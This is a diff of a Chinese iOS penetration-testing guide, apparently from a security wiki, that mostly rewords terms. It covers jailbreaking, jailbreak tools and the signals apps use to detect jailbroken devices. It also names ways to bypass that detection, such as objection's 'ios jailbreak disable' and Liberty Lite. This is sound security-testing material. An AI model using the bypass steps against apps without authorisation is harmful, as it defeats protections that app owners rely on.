-在这个文件夹中,你可以**找到应用程序的包**。 +在这个文件夹中,你可以**找到应用的包**。 ## 模拟器 @@ -54,47 +54,51 @@ Corellium 是唯一公开可用的 iOS 模拟器。它是一个企业级 SaaS ## 无需越狱 -查看这篇关于如何在**未越狱设备**上进行 iOS 应用程序渗透测试的博客文章:[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +查看这篇博客文章,了解如何在**非越狱设备**上进行 iOS 应用的渗透测试: + +{{#ref}} +ios-pentesting-without-jailbreak.md +{{#endref}} ## 越狱 -苹果严格要求在 iPhone 上运行的代码必须是**由苹果签发的证书签名的**。**越狱**是主动**规避此类限制**和操作系统施加的其他安全控制的过程。因此,一旦设备越狱,负责检查应用程序安装的**完整性检查**就会被修补,从而**绕过**。 +苹果严格要求在 iPhone 上运行的代码必须是**由苹果签发的证书签名的**。**越狱**是主动**规避这些限制**和操作系统施加的其他安全控制的过程。因此,一旦设备越狱,负责检查应用安装的**完整性检查**就会被修补,从而**绕过**。 > [!NOTE] > 与 Android 不同,**你不能在 iOS 中切换到“开发者模式”**以在设备上运行未签名/不受信任的代码。 ### Android Rooting 与 iOS 越狱 -虽然经常被比较,Android 的**rooting**和 iOS 的**越狱**在本质上是不同的过程。对 Android 设备进行 root 可能涉及**安装 `su` 二进制文件**或**用已 root 的自定义 ROM 替换系统**,如果引导加载程序已解锁,则不一定需要利用漏洞。**闪存自定义 ROM**在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。 +虽然经常被比较,**Android 的 root** 和 **iOS 的越狱** 是根本不同的过程。对 Android 设备进行 root 可能涉及**安装 `su` 二进制文件**或**用已 root 的自定义 ROM 替换系统**,如果引导加载程序已解锁,则不一定需要利用漏洞。**闪存自定义 ROM** 在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。 -相比之下,由于引导加载程序限制只能启动苹果签名的镜像,iOS 设备无法闪存自定义 ROM。**越狱 iOS**旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。 +相比之下,由于引导加载程序限制只能启动苹果签名的镜像,iOS 设备无法闪存自定义 ROM。**越狱 iOS** 旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。 ### 越狱挑战 -越狱 iOS 变得越来越困难,因为苹果迅速修补漏洞。**降级 iOS**仅在发布后有限时间内可能,越狱是一个时间敏感的问题。用于安全测试的设备在确保重新越狱的情况下不应更新。 +越狱 iOS 变得越来越困难,因为苹果迅速修补漏洞。**降级 iOS** 仅在发布后有限时间内可能,越狱是一个时间敏感的问题。用于安全测试的设备在确保重新越狱的情况下不应更新。 -iOS 更新由**挑战-响应机制**(SHSH blobs)控制,仅允许安装苹果签名的响应。这个机制被称为“签名窗口”,限制了存储和后续使用 OTA 固件包的能力。[IPSW Downloads 网站](https://ipsw.me)是检查当前签名窗口的资源。 +iOS 更新由**挑战-响应机制**(SHSH blobs)控制,仅允许安装苹果签名的响应。这个机制被称为“签名窗口”,限制了存储和后续使用 OTA 固件包的能力。[IPSW Downloads 网站](https://ipsw.me) 是检查当前签名窗口的资源。 ### 越狱种类 - **有线越狱**需要每次重启时连接计算机。 - **半有线越狱**允许在没有计算机的情况下启动到非越狱模式。 -- **半无线越狱**需要手动重新越狱而不需要计算机。 -- **无线越狱**提供永久越狱解决方案,无需重新应用。 +- **半无缝越狱**需要手动重新越狱而不需要计算机。 +- **无缝越狱**提供永久越狱解决方案,无需重新应用。 ### 越狱工具和资源 越狱工具因 iOS 版本和设备而异。资源如 [Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com) 和 [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) 提供最新信息。示例包括: - [Checkra1n](https://checkra.in/) 适用于 A7-A11 芯片设备。 -- [Palera1n](https://palera.in/) 适用于 iOS 15.0-16.5 上的 Checkm8 设备(A8-A11)。 +- [Palera1n](https://palera.in/) 适用于 Checkm8 设备(A8-A11)在 iOS 15.0-16.5 上。 - [Unc0ver](https://unc0ver.dev/) 适用于 iOS 版本高达 14.8。 修改设备存在风险,越狱应谨慎进行。 ### 越狱的好处和风险 -越狱**移除操作系统施加的沙盒限制**,允许应用程序访问整个文件系统。这种自由使得安装未批准的应用程序和访问更多 API 成为可能。然而,对于普通用户来说,由于潜在的安全风险和设备不稳定,越狱**不推荐**。 +越狱**移除操作系统施加的沙盒限制**,允许应用访问整个文件系统。这种自由使得安装未批准的应用和访问更多 API 成为可能。然而,对于普通用户来说,由于潜在的安全风险和设备不稳定,越狱**不推荐**。 ### **越狱后** @@ -104,10 +108,10 @@ basic-ios-testing-operations.md ### **越狱检测** -**一些应用程序会尝试检测手机是否越狱,在这种情况下应用程序将无法运行** +**一些应用会尝试检测手机是否越狱,在这种情况下应用将无法运行** -- 在越狱的 iOS 设备上,**文件和文件夹通常会被安装**,可以搜索这些文件以确定设备是否越狱。 -- 在越狱设备上,应用程序获得**对新文件的读/写访问权限**,超出沙盒限制。 +- 越狱后,iOS **文件和文件夹通常会被安装**,可以搜索这些文件以确定设备是否越狱。 +- 在越狱设备中,应用可以**读写新文件**,超出沙盒限制。 - 一些**API** **调用**将**表现不同**。 - **OpenSSH** 服务的存在。 - 调用 `/bin/sh` 将**返回 1** 而不是 0。 @@ -119,7 +123,7 @@ basic-ios-testing-operations.md ## **越狱检测绕过** - 你可以尝试使用 **objection's** `ios jailbreak disable` 来避免这些检测。 -- 你还可以安装工具 **Liberty Lite** (https://ryleyangus.com/repo/)。一旦添加了 repo,应用程序应该出现在“搜索”标签中。 +- 你还可以安装工具 **Liberty Lite** (https://ryleyangus.com/repo/)。一旦添加了 repo,应用应该会出现在“搜索”标签中。 ## 参考